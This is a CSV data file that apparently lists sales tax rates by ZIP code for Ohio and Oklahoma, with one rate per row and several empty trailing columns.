US-OH-45301,US,OH,45301,6.75,,,, US-OH-45302,US,OH,45302,7.25,,,, US-OH-45303,US,OH,45303,7.25,,,, US-OH-45304,US,OH,45304,7.25,,,, US-OH-45305,US,OH,45305,6.75,,,, US-OH-45306,US,OH,45306,7.25,,,, US-OH-45307,US,OH,45307,6.75,,,, US-OH-45308,US,OH,45308,7.25,,,, US-OH-45309,US,OH,45309,7.25,,,, US-OH-45310,US,OH,45310,7.25,,,, US-OH-45311,US,OH,45311,7.25,,,, US-OH-45312,US,OH,45312,7,,,, US-OH-45314,US,OH,45314,6.75,,,, US-OH-45315,US,OH,45315,7.25,,,, US-OH-45316,US,OH,45316,6.75,,,, US-OH-45317,US,OH,45317,7.25,,,, US-OH-45318,US,OH,45318,7,,,, US-OH-45319,US,OH,45319,7.25,,,, US-OH-45320,US,OH,45320,7.25,,,, US-OH-45321,US,OH,45321,7.25,,,, US-OH-45322,US,OH,45322,7.25,,,, US-OH-45323,US,OH,45323,7.25,,,, US-OH-45324,US,OH,45324,6.75,,,, US-OH-45325,US,OH,45325,7.25,,,, US-OH-45326,US,OH,45326,7,,,, US-OH-45327,US,OH,45327,7.25,,,, US-OH-45328,US,OH,45328,7.25,,,, US-OH-45330,US,OH,45330,7.25,,,, US-OH-45331,US,OH,45331,7.25,,,, US-OH-45332,US,OH,45332,7.25,,,, US-OH-45333,US,OH,45333,7.25,,,, US-OH-45334,US,OH,45334,7.25,,,, US-OH-45335,US,OH,45335,6.75,,,, US-OH-45336,US,OH,45336,7.25,,,, US-OH-45337,US,OH,45337,7,,,, US-OH-45338,US,OH,45338,7.25,,,, US-OH-45339,US,OH,45339,7,,,, US-OH-45340,US,OH,45340,7.25,,,, US-OH-45341,US,OH,45341,7.25,,,, US-OH-45342,US,OH,45342,7.25,,,, US-OH-45343,US,OH,45343,7.25,,,, US-OH-45344,US,OH,45344,7.25,,,, US-OH-45345,US,OH,45345,7.25,,,, US-OH-45346,US,OH,45346,7.25,,,, US-OH-45347,US,OH,45347,7.25,,,, US-OH-45348,US,OH,45348,7.25,,,, US-OH-45349,US,OH,45349,7.25,,,, US-OH-45350,US,OH,45350,7.25,,,, US-OH-45351,US,OH,45351,7.25,,,, US-OH-45352,US,OH,45352,7.25,,,, US-OH-45353,US,OH,45353,7.25,,,, US-OH-45354,US,OH,45354,7.25,,,, US-OH-45356,US,OH,45356,7,,,, US-OH-45358,US,OH,45358,7.25,,,, US-OH-45359,US,OH,45359,7,,,, US-OH-45360,US,OH,45360,7.25,,,, US-OH-45361,US,OH,45361,7,,,, US-OH-45362,US,OH,45362,7.25,,,, US-OH-45363,US,OH,45363,7.25,,,, US-OH-45365,US,OH,45365,7.25,,,, US-OH-45367,US,OH,45367,7.25,,,, US-OH-45368,US,OH,45368,7.25,,,, US-OH-45369,US,OH,45369,7.25,,,, US-OH-45370,US,OH,45370,6.75,,,, US-OH-45371,US,OH,45371,7,,,, US-OH-45372,US,OH,45372,7.25,,,, US-OH-45373,US,OH,45373,7,,,, US-OH-45374,US,OH,45374,7,,,, US-OH-45377,US,OH,45377,7.25,,,, US-OH-45378,US,OH,45378,7.25,,,, US-OH-45380,US,OH,45380,7.25,,,, US-OH-45381,US,OH,45381,7.25,,,, US-OH-45382,US,OH,45382,7.25,,,, US-OH-45383,US,OH,45383,7,,,, US-OH-45384,US,OH,45384,6.75,,,, US-OH-45385,US,OH,45385,6.75,,,, US-OH-45387,US,OH,45387,6.75,,,, US-OH-45388,US,OH,45388,7.25,,,, US-OH-45389,US,OH,45389,7.25,,,, US-OH-45390,US,OH,45390,7.25,,,, US-OH-45401,US,OH,45401,7.25,,,, US-OH-45402,US,OH,45402,7.25,,,, US-OH-45403,US,OH,45403,7.25,,,, US-OH-45404,US,OH,45404,7.25,,,, US-OH-45405,US,OH,45405,7.25,,,, US-OH-45406,US,OH,45406,7.25,,,, US-OH-45409,US,OH,45409,7.25,,,, US-OH-45410,US,OH,45410,7.25,,,, US-OH-45412,US,OH,45412,7.25,,,, US-OH-45413,US,OH,45413,7.25,,,, US-OH-45414,US,OH,45414,7.25,,,, US-OH-45415,US,OH,45415,7.25,,,, US-OH-45416,US,OH,45416,7.25,,,, US-OH-45417,US,OH,45417,7.25,,,, US-OH-45419,US,OH,45419,7.25,,,, US-OH-45420,US,OH,45420,7.25,,,, US-OH-45422,US,OH,45422,7.25,,,, US-OH-45423,US,OH,45423,7.25,,,, US-OH-45424,US,OH,45424,7.25,,,, US-OH-45426,US,OH,45426,7.25,,,, US-OH-45428,US,OH,45428,7.25,,,, US-OH-45429,US,OH,45429,7.25,,,, US-OH-45430,US,OH,45430,6.75,,,, US-OH-45431,US,OH,45431,6.75,,,, US-OH-45432,US,OH,45432,6.75,,,, US-OH-45433,US,OH,45433,6.75,,,, US-OH-45434,US,OH,45434,6.75,,,, US-OH-45435,US,OH,45435,6.75,,,, US-OH-45437,US,OH,45437,7.25,,,, US-OH-45439,US,OH,45439,7.25,,,, US-OH-45440,US,OH,45440,7.25,,,, US-OH-45441,US,OH,45441,7.25,,,, US-OH-45448,US,OH,45448,7.25,,,, US-OH-45449,US,OH,45449,7.25,,,, US-OH-45458,US,OH,45458,7.25,,,, US-OH-45459,US,OH,45459,7.25,,,, US-OH-45469,US,OH,45469,7.25,,,, US-OH-45470,US,OH,45470,7.25,,,, US-OH-45475,US,OH,45475,7.25,,,, US-OH-45479,US,OH,45479,7.25,,,, US-OH-45481,US,OH,45481,7.25,,,, US-OH-45482,US,OH,45482,7.25,,,, US-OH-45490,US,OH,45490,7.25,,,, US-OH-45501,US,OH,45501,7.25,,,, US-OH-45502,US,OH,45502,7.25,,,, US-OH-45503,US,OH,45503,7.25,,,, US-OH-45504,US,OH,45504,7.25,,,, US-OH-45505,US,OH,45505,7.25,,,, US-OH-45506,US,OH,45506,7.25,,,, US-OH-45601,US,OH,45601,7.25,,,, US-OH-45612,US,OH,45612,7.25,,,, US-OH-45613,US,OH,45613,7.25,,,, US-OH-45614,US,OH,45614,7,,,, US-OH-45616,US,OH,45616,7.25,,,, US-OH-45617,US,OH,45617,7.25,,,, US-OH-45618,US,OH,45618,7.25,,,, US-OH-45619,US,OH,45619,7.25,,,, US-OH-45620,US,OH,45620,7,,,, US-OH-45621,US,OH,45621,7.25,,,, US-OH-45622,US,OH,45622,7.25,,,, US-OH-45623,US,OH,45623,7,,,, US-OH-45624,US,OH,45624,7.25,,,, US-OH-45628,US,OH,45628,7.25,,,, US-OH-45629,US,OH,45629,7.25,,,, US-OH-45630,US,OH,45630,7.25,,,, US-OH-45631,US,OH,45631,7,,,, US-OH-45633,US,OH,45633,7.25,,,, US-OH-45634,US,OH,45634,7.25,,,, US-OH-45636,US,OH,45636,7.25,,,, US-OH-45638,US,OH,45638,7.25,,,, US-OH-45640,US,OH,45640,7.25,,,, US-OH-45642,US,OH,45642,7.25,,,, US-OH-45643,US,OH,45643,7,,,, US-OH-45644,US,OH,45644,7.25,,,, US-OH-45645,US,OH,45645,7.25,,,, US-OH-45646,US,OH,45646,7.25,,,, US-OH-45647,US,OH,45647,7.25,,,, US-OH-45648,US,OH,45648,7.25,,,, US-OH-45650,US,OH,45650,7.25,,,, US-OH-45651,US,OH,45651,7.25,,,, US-OH-45652,US,OH,45652,7.25,,,, US-OH-45653,US,OH,45653,7.25,,,, US-OH-45654,US,OH,45654,7.25,,,, US-OH-45656,US,OH,45656,7.25,,,, US-OH-45657,US,OH,45657,7.25,,,, US-OH-45658,US,OH,45658,7,,,, US-OH-45659,US,OH,45659,7.25,,,, US-OH-45660,US,OH,45660,7.25,,,, US-OH-45661,US,OH,45661,7.25,,,, US-OH-45662,US,OH,45662,7.25,,,, US-OH-45663,US,OH,45663,7.25,,,, US-OH-45669,US,OH,45669,7.25,,,, US-OH-45671,US,OH,45671,7.25,,,, US-OH-45672,US,OH,45672,7.25,,,, US-OH-45673,US,OH,45673,7.25,,,, US-OH-45674,US,OH,45674,7,,,, US-OH-45675,US,OH,45675,7.25,,,, US-OH-45677,US,OH,45677,7.25,,,, US-OH-45678,US,OH,45678,7.25,,,, US-OH-45679,US,OH,45679,7.25,,,, US-OH-45680,US,OH,45680,7.25,,,, US-OH-45681,US,OH,45681,7.25,,,, US-OH-45682,US,OH,45682,7.25,,,, US-OH-45683,US,OH,45683,7.25,,,, US-OH-45684,US,OH,45684,7.25,,,, US-OH-45685,US,OH,45685,7,,,, US-OH-45686,US,OH,45686,7,,,, US-OH-45687,US,OH,45687,7.25,,,, US-OH-45688,US,OH,45688,7.25,,,, US-OH-45690,US,OH,45690,7.25,,,, US-OH-45692,US,OH,45692,7.25,,,, US-OH-45693,US,OH,45693,7.25,,,, US-OH-45694,US,OH,45694,7.25,,,, US-OH-45695,US,OH,45695,7.25,,,, US-OH-45696,US,OH,45696,7.25,,,, US-OH-45697,US,OH,45697,7.25,,,, US-OH-45698,US,OH,45698,7.25,,,, US-OH-45699,US,OH,45699,7.25,,,, US-OH-45701,US,OH,45701,7,,,, US-OH-45710,US,OH,45710,7,,,, US-OH-45711,US,OH,45711,7,,,, US-OH-45712,US,OH,45712,7.25,,,, US-OH-45713,US,OH,45713,7.25,,,, US-OH-45714,US,OH,45714,7.25,,,, US-OH-45715,US,OH,45715,7.25,,,, US-OH-45716,US,OH,45716,7,,,, US-OH-45717,US,OH,45717,7,,,, US-OH-45719,US,OH,45719,7,,,, US-OH-45720,US,OH,45720,7.25,,,, US-OH-45721,US,OH,45721,7.25,,,, US-OH-45723,US,OH,45723,7,,,, US-OH-45724,US,OH,45724,7.25,,,, US-OH-45727,US,OH,45727,7.25,,,, US-OH-45729,US,OH,45729,7.25,,,, US-OH-45732,US,OH,45732,7,,,, US-OH-45734,US,OH,45734,7.25,,,, US-OH-45735,US,OH,45735,7,,,, US-OH-45739,US,OH,45739,7,,,, US-OH-45740,US,OH,45740,7,,,, US-OH-45741,US,OH,45741,7.25,,,, US-OH-45742,US,OH,45742,7.25,,,, US-OH-45743,US,OH,45743,7.25,,,, US-OH-45744,US,OH,45744,7.25,,,, US-OH-45745,US,OH,45745,7.25,,,, US-OH-45746,US,OH,45746,7.25,,,, US-OH-45750,US,OH,45750,7.25,,,, US-OH-45760,US,OH,45760,7.25,,,, US-OH-45761,US,OH,45761,7,,,, US-OH-45764,US,OH,45764,7,,,, US-OH-45766,US,OH,45766,7,,,, US-OH-45767,US,OH,45767,7.25,,,, US-OH-45768,US,OH,45768,7.25,,,, US-OH-45769,US,OH,45769,7.25,,,, US-OH-45770,US,OH,45770,7.25,,,, US-OH-45771,US,OH,45771,7.25,,,, US-OH-45772,US,OH,45772,7.25,,,, US-OH-45773,US,OH,45773,7.25,,,, US-OH-45775,US,OH,45775,7.25,,,, US-OH-45776,US,OH,45776,7.25,,,, US-OH-45777,US,OH,45777,7,,,, US-OH-45778,US,OH,45778,7,,,, US-OH-45779,US,OH,45779,7.25,,,, US-OH-45780,US,OH,45780,7,,,, US-OH-45782,US,OH,45782,7,,,, US-OH-45783,US,OH,45783,7.25,,,, US-OH-45784,US,OH,45784,7.25,,,, US-OH-45786,US,OH,45786,7.25,,,, US-OH-45787,US,OH,45787,7.25,,,, US-OH-45788,US,OH,45788,7.25,,,, US-OH-45789,US,OH,45789,7.25,,,, US-OH-45801,US,OH,45801,6.75,,,, US-OH-45802,US,OH,45802,6.75,,,, US-OH-45804,US,OH,45804,6.75,,,, US-OH-45805,US,OH,45805,6.75,,,, US-OH-45806,US,OH,45806,6.75,,,, US-OH-45807,US,OH,45807,6.75,,,, US-OH-45808,US,OH,45808,6.75,,,, US-OH-45809,US,OH,45809,6.75,,,, US-OH-45810,US,OH,45810,7.25,,,, US-OH-45812,US,OH,45812,7.25,,,, US-OH-45813,US,OH,45813,7.25,,,, US-OH-45814,US,OH,45814,6.75,,,, US-OH-45815,US,OH,45815,7.25,,,, US-OH-45816,US,OH,45816,6.75,,,, US-OH-45817,US,OH,45817,6.75,,,, US-OH-45819,US,OH,45819,7.25,,,, US-OH-45820,US,OH,45820,6.75,,,, US-OH-45821,US,OH,45821,7.25,,,, US-OH-45822,US,OH,45822,7.25,,,, US-OH-45826,US,OH,45826,7.25,,,, US-OH-45827,US,OH,45827,7.25,,,, US-OH-45828,US,OH,45828,7.25,,,, US-OH-45830,US,OH,45830,7.25,,,, US-OH-45831,US,OH,45831,7.25,,,, US-OH-45832,US,OH,45832,7.25,,,, US-OH-45833,US,OH,45833,6.75,,,, US-OH-45835,US,OH,45835,7.25,,,, US-OH-45836,US,OH,45836,7.25,,,, US-OH-45837,US,OH,45837,7.25,,,, US-OH-45838,US,OH,45838,7.25,,,, US-OH-45839,US,OH,45839,6.75,,,, US-OH-45840,US,OH,45840,6.75,,,, US-OH-45841,US,OH,45841,6.75,,,, US-OH-45843,US,OH,45843,7.25,,,, US-OH-45844,US,OH,45844,7.25,,,, US-OH-45845,US,OH,45845,7.25,,,, US-OH-45846,US,OH,45846,7.25,,,, US-OH-45848,US,OH,45848,7.25,,,, US-OH-45849,US,OH,45849,7.25,,,, US-OH-45850,US,OH,45850,6.75,,,, US-OH-45851,US,OH,45851,7.25,,,, US-OH-45853,US,OH,45853,7.25,,,, US-OH-45854,US,OH,45854,6.75,,,, US-OH-45855,US,OH,45855,7.25,,,, US-OH-45856,US,OH,45856,7.25,,,, US-OH-45858,US,OH,45858,6.75,,,, US-OH-45859,US,OH,45859,7.25,,,, US-OH-45860,US,OH,45860,7.25,,,, US-OH-45861,US,OH,45861,7.25,,,, US-OH-45862,US,OH,45862,7.25,,,, US-OH-45863,US,OH,45863,7.25,,,, US-OH-45864,US,OH,45864,7.25,,,, US-OH-45865,US,OH,45865,7.25,,,, US-OH-45866,US,OH,45866,7.25,,,, US-OH-45867,US,OH,45867,6.75,,,, US-OH-45868,US,OH,45868,6.75,,,, US-OH-45869,US,OH,45869,7.25,,,, US-OH-45870,US,OH,45870,7.25,,,, US-OH-45871,US,OH,45871,7.25,,,, US-OH-45872,US,OH,45872,6.75,,,, US-OH-45873,US,OH,45873,7.25,,,, US-OH-45874,US,OH,45874,7.25,,,, US-OH-45875,US,OH,45875,7.25,,,, US-OH-45876,US,OH,45876,7.25,,,, US-OH-45877,US,OH,45877,7.25,,,, US-OH-45879,US,OH,45879,7.25,,,, US-OH-45880,US,OH,45880,7.25,,,, US-OH-45881,US,OH,45881,6.75,,,, US-OH-45882,US,OH,45882,7.25,,,, US-OH-45883,US,OH,45883,7.25,,,, US-OH-45884,US,OH,45884,7.25,,,, US-OH-45885,US,OH,45885,7.25,,,, US-OH-45886,US,OH,45886,7.25,,,, US-OH-45887,US,OH,45887,6.75,,,, US-OH-45888,US,OH,45888,7.25,,,, US-OH-45889,US,OH,45889,6.75,,,, US-OH-45890,US,OH,45890,6.75,,,, US-OH-45891,US,OH,45891,7.25,,,, US-OH-45893,US,OH,45893,7.25,,,, US-OH-45894,US,OH,45894,7.25,,,, US-OH-45895,US,OH,45895,7.25,,,, US-OH-45896,US,OH,45896,7.25,,,, US-OH-45897,US,OH,45897,6.75,,,, US-OH-45898,US,OH,45898,7.25,,,, US-OH-45899,US,OH,45899,7.25,,,, US-OK-73001,US,OK,73001,6,,,, US-OK-73002,US,OK,73002,4.875,,,, US-OK-73003,US,OK,73003,8.25,,,, US-OK-73004,US,OK,73004,8.875,,,, US-OK-73005,US,OK,73005,9.5,,,, US-OK-73006,US,OK,73006,9.5,,,, US-OK-73007,US,OK,73007,8.25,,,, US-OK-73008,US,OK,73008,8.5,,,, US-OK-73009,US,OK,73009,10,,,, US-OK-73010,US,OK,73010,9,,,, US-OK-73011,US,OK,73011,4.875,,,, US-OK-73012,US,OK,73012,8.375,,,, US-OK-73013,US,OK,73013,8.375,,,, US-OK-73014,US,OK,73014,4.85,,,, US-OK-73015,US,OK,73015,10,,,, US-OK-73016,US,OK,73016,9.25,,,, US-OK-73017,US,OK,73017,4.875,,,, US-OK-73018,US,OK,73018,8.844,,,, US-OK-73019,US,OK,73019,8.25,,,, US-OK-73020,US,OK,73020,8.75,,,, US-OK-73021,US,OK,73021,6.375,,,, US-OK-73022,US,OK,73022,8.85,,,, US-OK-73023,US,OK,73023,8.844,,,, US-OK-73024,US,OK,73024,8.375,,,, US-OK-73025,US,OK,73025,5.5,,,, US-OK-73026,US,OK,73026,8.25,,,, US-OK-73027,US,OK,73027,5.313,,,, US-OK-73028,US,OK,73028,5.5,,,, US-OK-73029,US,OK,73029,6,,,, US-OK-73030,US,OK,73030,9.5,,,, US-OK-73031,US,OK,73031,10,,,, US-OK-73032,US,OK,73032,8.5,,,, US-OK-73033,US,OK,73033,9,,,, US-OK-73034,US,OK,73034,8.25,,,, US-OK-73036,US,OK,73036,8.85,,,, US-OK-73038,US,OK,73038,10,,,, US-OK-73039,US,OK,73039,9.5,,,, US-OK-73040,US,OK,73040,8.25,,,, US-OK-73041,US,OK,73041,9,,,, US-OK-73042,US,OK,73042,10,,,, US-OK-73043,US,OK,73043,8.25,,,, US-OK-73044,US,OK,73044,5.5,,,, US-OK-73045,US,OK,73045,8.5,,,, US-OK-73047,US,OK,73047,9,,,, US-OK-73048,US,OK,73048,10,,,, US-OK-73049,US,OK,73049,8.375,,,, US-OK-73050,US,OK,73050,9.5,,,, US-OK-73051,US,OK,73051,4.75,,,, US-OK-73052,US,OK,73052,5,,,, US-OK-73053,US,OK,73053,6,,,, US-OK-73054,US,OK,73054,4.5,,,, US-OK-73055,US,OK,73055,8.7,,,, US-OK-73056,US,OK,73056,9.5,,,, US-OK-73057,US,OK,73057,9.25,,,, US-OK-73058,US,OK,73058,5.5,,,, US-OK-73059,US,OK,73059,8.875,,,, US-OK-73061,US,OK,73061,6,,,, US-OK-73062,US,OK,73062,9,,,, US-OK-73063,US,OK,73063,8.5,,,, US-OK-73064,US,OK,73064,8.85,,,, US-OK-73065,US,OK,73065,9,,,, US-OK-73066,US,OK,73066,8.5,,,, US-OK-73067,US,OK,73067,7.875,,,, US-OK-73068,US,OK,73068,8.75,,,, US-OK-73069,US,OK,73069,8.25,,,, US-OK-73070,US,OK,73070,8.25,,,, US-OK-73071,US,OK,73071,8.25,,,, US-OK-73072,US,OK,73072,8.25,,,, US-OK-73073,US,OK,73073,5.5,,,, US-OK-73074,US,OK,73074,8.25,,,, US-OK-73075,US,OK,73075,9.25,,,, US-OK-73077,US,OK,73077,9.25,,,, US-OK-73078,US,OK,73078,9.85,,,, US-OK-73079,US,OK,73079,6.375,,,, US-OK-73080,US,OK,73080,9,,,, US-OK-73082,US,OK,73082,4.875,,,, US-OK-73083,US,OK,73083,8.25,,,, US-OK-73084,US,OK,73084,8.375,,,, US-OK-73085,US,OK,73085,8.85,,,, US-OK-73086,US,OK,73086,6.5,,,, US-OK-73089,US,OK,73089,8.875,,,, US-OK-73090,US,OK,73090,8.85,,,, US-OK-73092,US,OK,73092,4.875,,,, US-OK-73093,US,OK,73093,8.5,,,, US-OK-73095,US,OK,73095,5,,,, US-OK-73096,US,OK,73096,9.5,,,, US-OK-73097,US,OK,73097,8.375,,,, US-OK-73098,US,OK,73098,9.25,,,, US-OK-73099,US,OK,73099,8.725,,,, US-OK-73101,US,OK,73101,8.375,,,, US-OK-73102,US,OK,73102,8.375,,,, US-OK-73103,US,OK,73103,8.375,,,, US-OK-73104,US,OK,73104,8.375,,,, US-OK-73105,US,OK,73105,8.375,,,, US-OK-73106,US,OK,73106,8.375,,,, US-OK-73107,US,OK,73107,8.375,,,, US-OK-73108,US,OK,73108,8.375,,,, US-OK-73109,US,OK,73109,8.375,,,, US-OK-73110,US,OK,73110,8.35,,,, US-OK-73111,US,OK,73111,8.375,,,, US-OK-73112,US,OK,73112,8.375,,,, US-OK-73113,US,OK,73113,8.375,,,, US-OK-73114,US,OK,73114,8.375,,,, US-OK-73115,US,OK,73115,8,,,, US-OK-73116,US,OK,73116,8.375,,,, US-OK-73117,US,OK,73117,8.375,,,, US-OK-73118,US,OK,73118,8.375,,,, US-OK-73119,US,OK,73119,8.375,,,, US-OK-73120,US,OK,73120,8.375,,,, US-OK-73121,US,OK,73121,8.375,,,, US-OK-73122,US,OK,73122,8.5,,,, US-OK-73123,US,OK,73123,8.5,,,, US-OK-73124,US,OK,73124,8.375,,,, US-OK-73125,US,OK,73125,8.375,,,, US-OK-73126,US,OK,73126,8.375,,,, US-OK-73127,US,OK,73127,8.375,,,, US-OK-73128,US,OK,73128,8.375,,,, US-OK-73129,US,OK,73129,8.375,,,, US-OK-73130,US,OK,73130,8.35,,,, US-OK-73131,US,OK,73131,8.375,,,, US-OK-73132,US,OK,73132,8.375,,,, US-OK-73134,US,OK,73134,8.375,,,, US-OK-73135,US,OK,73135,8.375,,,, US-OK-73136,US,OK,73136,8.375,,,, US-OK-73137,US,OK,73137,8.375,,,, US-OK-73139,US,OK,73139,8.375,,,, US-OK-73140,US,OK,73140,8.35,,,, US-OK-73141,US,OK,73141,8.35,,,, US-OK-73142,US,OK,73142,8.375,,,, US-OK-73143,US,OK,73143,8.375,,,, US-OK-73144,US,OK,73144,8.375,,,, US-OK-73145,US,OK,73145,8.375,,,, US-OK-73146,US,OK,73146,8.375,,,, US-OK-73147,US,OK,73147,8.375,,,, US-OK-73148,US,OK,73148,8.375,,,, US-OK-73149,US,OK,73149,8.375,,,, US-OK-73150,US,OK,73150,8.375,,,, US-OK-73151,US,OK,73151,8.375,,,, US-OK-73152,US,OK,73152,8.375,,,, US-OK-73153,US,OK,73153,8.625,,,, US-OK-73154,US,OK,73154,8.375,,,, US-OK-73155,US,OK,73155,8.375,,,, US-OK-73156,US,OK,73156,8.5,,,, US-OK-73157,US,OK,73157,8.375,,,, US-OK-73159,US,OK,73159,8.375,,,, US-OK-73160,US,OK,73160,8.5,,,, US-OK-73162,US,OK,73162,8.375,,,, US-OK-73163,US,OK,73163,8.375,,,, US-OK-73164,US,OK,73164,8.375,,,, US-OK-73165,US,OK,73165,8.625,,,, US-OK-73167,US,OK,73167,8.375,,,, US-OK-73169,US,OK,73169,8.375,,,, US-OK-73170,US,OK,73170,8.625,,,, US-OK-73172,US,OK,73172,8.375,,,, US-OK-73173,US,OK,73173,8.625,,,, US-OK-73178,US,OK,73178,8.375,,,, US-OK-73179,US,OK,73179,8.375,,,, US-OK-73184,US,OK,73184,8.375,,,, US-OK-73185,US,OK,73185,8.375,,,, US-OK-73189,US,OK,73189,8.625,,,, US-OK-73190,US,OK,73190,8.375,,,, US-OK-73194,US,OK,73194,8.375,,,, US-OK-73195,US,OK,73195,8.375,,,, US-OK-73196,US,OK,73196,8.375,,,, US-OK-73401,US,OK,73401,9,,,, US-OK-73402,US,OK,73402,9,,,, US-OK-73403,US,OK,73403,9,,,, US-OK-73425,US,OK,73425,5.2,,,, US-OK-73430,US,OK,73430,6.5,,,, US-OK-73432,US,OK,73432,6,,,, US-OK-73433,US,OK,73433,9.25,,,, US-OK-73434,US,OK,73434,9.25,,,, US-OK-73435,US,OK,73435,5.25,,,, US-OK-73436,US,OK,73436,8.25,,,, US-OK-73437,US,OK,73437,5.25,,,, US-OK-73438,US,OK,73438,9.25,,,, US-OK-73439,US,OK,73439,6,,,, US-OK-73440,US,OK,73440,6,,,, US-OK-73441,US,OK,73441,6.5,,,, US-OK-73442,US,OK,73442,8.2,,,, US-OK-73443,US,OK,73443,9.25,,,, US-OK-73444,US,OK,73444,5.25,,,, US-OK-73446,US,OK,73446,9,,,, US-OK-73447,US,OK,73447,6,,,, US-OK-73448,US,OK,73448,8.5,,,, US-OK-73449,US,OK,73449,5,,,, US-OK-73450,US,OK,73450,6,,,, US-OK-73453,US,OK,73453,6.5,,,, US-OK-73455,US,OK,73455,9,,,, US-OK-73456,US,OK,73456,9,,,, US-OK-73458,US,OK,73458,5.25,,,, US-OK-73459,US,OK,73459,6.5,,,, US-OK-73460,US,OK,73460,9,,,, US-OK-73461,US,OK,73461,7.5,,,, US-OK-73463,US,OK,73463,5.25,,,, US-OK-73481,US,OK,73481,5.25,,,, US-OK-73487,US,OK,73487,10.25,,,, US-OK-73488,US,OK,73488,5.25,,,, US-OK-73491,US,OK,73491,9.2,,,, US-OK-73501,US,OK,73501,8.875,,,, US-OK-73502,US,OK,73502,8.875,,,, US-OK-73503,US,OK,73503,4.75,,,, US-OK-73505,US,OK,73505,8.875,,,, US-OK-73506,US,OK,73506,8.875,,,, US-OK-73507,US,OK,73507,8.875,,,, US-OK-73520,US,OK,73520,8.5,,,, US-OK-73521,US,OK,73521,8.75,,,, US-OK-73522,US,OK,73522,8.75,,,, US-OK-73523,US,OK,73523,8.75,,,, US-OK-73526,US,OK,73526,5,,,, US-OK-73527,US,OK,73527,4.75,,,, US-OK-73528,US,OK,73528,7.75,,,, US-OK-73529,US,OK,73529,9.2,,,, US-OK-73530,US,OK,73530,6,,,, US-OK-73531,US,OK,73531,5.75,,,, US-OK-73532,US,OK,73532,5,,,, US-OK-73533,US,OK,73533,8.7,,,, US-OK-73534,US,OK,73534,8.7,,,, US-OK-73536,US,OK,73536,8.7,,,, US-OK-73537,US,OK,73537,7,,,, US-OK-73538,US,OK,73538,4.75,,,, US-OK-73539,US,OK,73539,5,,,, US-OK-73540,US,OK,73540,4.75,,,, US-OK-73541,US,OK,73541,4.75,,,, US-OK-73542,US,OK,73542,9.5,,,, US-OK-73543,US,OK,73543,4.75,,,, US-OK-73544,US,OK,73544,6.5,,,, US-OK-73546,US,OK,73546,9,,,, US-OK-73547,US,OK,73547,9,,,, US-OK-73548,US,OK,73548,9.5,,,, US-OK-73549,US,OK,73549,5,,,, US-OK-73550,US,OK,73550,8.5,,,, US-OK-73551,US,OK,73551,9,,,, US-OK-73552,US,OK,73552,4.75,,,, US-OK-73553,US,OK,73553,6,,,, US-OK-73554,US,OK,73554,9,,,, US-OK-73555,US,OK,73555,9,,,, US-OK-73556,US,OK,73556,5,,,, US-OK-73557,US,OK,73557,8.5,,,, US-OK-73558,US,OK,73558,4.75,,,, US-OK-73559,US,OK,73559,8,,,, US-OK-73560,US,OK,73560,5,,,, US-OK-73561,US,OK,73561,6.5,,,, US-OK-73562,US,OK,73562,5.75,,,, US-OK-73564,US,OK,73564,8,,,, US-OK-73565,US,OK,73565,9.5,,,, US-OK-73566,US,OK,73566,9,,,, US-OK-73567,US,OK,73567,7.75,,,, US-OK-73568,US,OK,73568,8.75,,,, US-OK-73569,US,OK,73569,9.5,,,, US-OK-73570,US,OK,73570,6,,,, US-OK-73571,US,OK,73571,6.5,,,, US-OK-73572,US,OK,73572,8.75,,,, US-OK-73573,US,OK,73573,9.5,,,, US-OK-73601,US,OK,73601,9.5,,,, US-OK-73620,US,OK,73620,8.5,,,, US-OK-73622,US,OK,73622,8.375,,,, US-OK-73624,US,OK,73624,10.375,,,, US-OK-73625,US,OK,73625,8.5,,,, US-OK-73626,US,OK,73626,10.375,,,, US-OK-73627,US,OK,73627,4.8,,,, US-OK-73628,US,OK,73628,9,,,, US-OK-73632,US,OK,73632,9.375,,,, US-OK-73638,US,OK,73638,6,,,, US-OK-73639,US,OK,73639,9.5,,,, US-OK-73641,US,OK,73641,9.375,,,, US-OK-73642,US,OK,73642,6,,,, US-OK-73644,US,OK,73644,8.8,,,, US-OK-73645,US,OK,73645,8.8,,,, US-OK-73646,US,OK,73646,6.25,,,, US-OK-73647,US,OK,73647,10.375,,,, US-OK-73648,US,OK,73648,8.8,,,, US-OK-73650,US,OK,73650,9,,,, US-OK-73651,US,OK,73651,9,,,, US-OK-73654,US,OK,73654,9.25,,,, US-OK-73655,US,OK,73655,8,,,, US-OK-73658,US,OK,73658,6.25,,,, US-OK-73659,US,OK,73659,6.25,,,, US-OK-73660,US,OK,73660,8,,,, US-OK-73661,US,OK,73661,9.375,,,, US-OK-73662,US,OK,73662,9.8,,,, US-OK-73663,US,OK,73663,10.25,,,, US-OK-73664,US,OK,73664,9.375,,,, US-OK-73666,US,OK,73666,5.8,,,, US-OK-73667,US,OK,73667,9.25,,,, US-OK-73668,US,OK,73668,4.8,,,, US-OK-73669,US,OK,73669,9.5,,,, US-OK-73673,US,OK,73673,6,,,, US-OK-73701,US,OK,73701,8.35,,,, US-OK-73702,US,OK,73702,8.35,,,, US-OK-73703,US,OK,73703,8.35,,,, US-OK-73705,US,OK,73705,8.35,,,, US-OK-73706,US,OK,73706,8.35,,,, US-OK-73716,US,OK,73716,9.5,,,, US-OK-73717,US,OK,73717,9.25,,,, US-OK-73718,US,OK,73718,7.75,,,, US-OK-73719,US,OK,73719,6.5,,,, US-OK-73720,US,OK,73720,4.85,,,, US-OK-73722,US,OK,73722,7.5,,,, US-OK-73724,US,OK,73724,8.25,,,, US-OK-73726,US,OK,73726,9.5,,,, US-OK-73727,US,OK,73727,4.85,,,, US-OK-73728,US,OK,73728,9.75,,,, US-OK-73729,US,OK,73729,7.75,,,, US-OK-73730,US,OK,73730,4.85,,,, US-OK-73731,US,OK,73731,5,,,, US-OK-73733,US,OK,73733,4.85,,,, US-OK-73734,US,OK,73734,9.25,,,, US-OK-73735,US,OK,73735,4.85,,,, US-OK-73736,US,OK,73736,4.85,,,, US-OK-73737,US,OK,73737,8.75,,,, US-OK-73738,US,OK,73738,4.85,,,, US-OK-73739,US,OK,73739,9.5,,,, US-OK-73741,US,OK,73741,6.5,,,, US-OK-73742,US,OK,73742,8.75,,,, US-OK-73743,US,OK,73743,5.85,,,, US-OK-73744,US,OK,73744,8.25,,,, US-OK-73746,US,OK,73746,5,,,, US-OK-73747,US,OK,73747,4.75,,,, US-OK-73749,US,OK,73749,9.5,,,, US-OK-73750,US,OK,73750,8.25,,,, US-OK-73753,US,OK,73753,4.85,,,, US-OK-73754,US,OK,73754,8.85,,,, US-OK-73755,US,OK,73755,8.25,,,, US-OK-73756,US,OK,73756,7.25,,,, 